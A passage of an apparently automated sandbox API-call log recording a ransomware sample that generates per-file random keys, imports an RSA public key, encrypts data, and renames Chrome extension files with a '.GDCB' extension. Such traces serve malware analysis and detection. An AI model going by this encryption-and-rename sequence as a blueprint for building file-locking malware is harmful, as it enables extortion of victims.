CryptEncrypt (in: hKey=0x659c9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8df0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x8df0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0236.023] GetLastError () returned 0x0 [0236.023] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.076] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0236.079] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.081] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.081] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0236.081] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.081] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0236.083] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.084] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.085] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0236.085] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.085] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0236.087] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659b0f8) returned 1 [0236.087] CryptGetKeyParam (in: hKey=0x659b0f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0236.087] CryptEncrypt (in: hKey=0x659b0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x8e00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0236.087] GetLastError () returned 0x0 [0236.087] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.087] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0236.089] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659cff8) returned 1 [0236.089] CryptGetKeyParam (in: hKey=0x659cff8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0236.089] CryptEncrypt (in: hKey=0x659cff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x8e10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0236.089] GetLastError () returned 0x0 [0236.089] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.090] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0236.091] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8e20000 [0236.093] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8e30000 [0236.095] ReadFile (in: hFile=0x424, lpBuffer=0x8e30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8e30000*, lpNumberOfBytesRead=0x285d160*=0xd4e, lpOverlapped=0x0) returned 1 [0236.131] VirtualAlloc (lpAddress=0x0, dwSize=0xd50, flAllocationType=0x3000, flProtect=0x4) returned 0x8f40000 [0236.137] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.gdcb")) returned 1 [0236.145] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0236.148] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.149] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0236.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.150] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0236.151] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.153] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.153] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0236.153] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.153] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0236.155] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659c938) returned 1 [0236.155] CryptGetKeyParam (in: hKey=0x659c938, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0236.155] CryptEncrypt (in: hKey=0x659c938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x8e00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0236.155] GetLastError () returned 0x0 [0236.155] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.155] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0236.157] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659cab8) returned 1 [0236.157] CryptGetKeyParam (in: hKey=0x659cab8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0236.157] CryptEncrypt (in: hKey=0x659cab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x8e10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0236.158] GetLastError () returned 0x0 [0236.158] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.158] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0236.159] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x8e20000 [0236.161] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x8e30000 [0236.163] ReadFile (in: hFile=0x424, lpBuffer=0x8e30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x8e30000*, lpNumberOfBytesRead=0x285d160*=0x2d8, lpOverlapped=0x0) returned 1 [0236.357] VirtualAlloc (lpAddress=0x0, dwSize=0x2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x8f40000 [0236.364] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.gdcb")) returned 1 [0236.370] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.374] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.374] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.374] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.374] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.378] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.378] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.378] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.381] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ce78) returned 1 [0236.381] CryptGetKeyParam (in: hKey=0x659ce78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.381] CryptEncrypt (in: hKey=0x659ce78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8e00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.381] GetLastError () returned 0x0 [0236.381] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.381] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.383] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659c8b8) returned 1 [0236.383] CryptGetKeyParam (in: hKey=0x659c8b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.383] CryptEncrypt (in: hKey=0x659c8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8e10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.383] GetLastError () returned 0x0 [0236.383] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.383] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.384] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.388] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.388] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.388] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.391] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.391] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.391] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.392] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.394] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cf38) returned 1 [0236.394] CryptGetKeyParam (in: hKey=0x659cf38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.394] CryptEncrypt (in: hKey=0x659cf38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8e20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.395] GetLastError () returned 0x0 [0236.395] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.395] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.397] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cbf8) returned 1 [0236.397] CryptGetKeyParam (in: hKey=0x659cbf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.397] CryptEncrypt (in: hKey=0x659cbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8e30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.397] GetLastError () returned 0x0 [0236.397] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.397] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.399] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.401] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.402] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.402] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.402] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.403] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.406] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.406] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.406] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.406] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.408] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cc38) returned 1 [0236.408] CryptGetKeyParam (in: hKey=0x659cc38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.408] CryptEncrypt (in: hKey=0x659cc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8e40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.409] GetLastError () returned 0x0 [0236.409] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.409] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.410] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cdf8) returned 1 [0236.410] CryptGetKeyParam (in: hKey=0x659cdf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.410] CryptEncrypt (in: hKey=0x659cdf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8e50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.411] GetLastError () returned 0x0 [0236.411] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.411] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.412] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.416] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.416] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.416] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.416] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.419] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.419] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.419] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.422] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d038) returned 1 [0236.422] CryptGetKeyParam (in: hKey=0x659d038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.422] CryptEncrypt (in: hKey=0x659d038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8e60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.422] GetLastError () returned 0x0 [0236.422] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.422] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.424] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659cc78) returned 1 [0236.424] CryptGetKeyParam (in: hKey=0x659cc78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.424] CryptEncrypt (in: hKey=0x659cc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8e70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.424] GetLastError () returned 0x0 [0236.424] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.424] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.426] CryptAcquireContextW 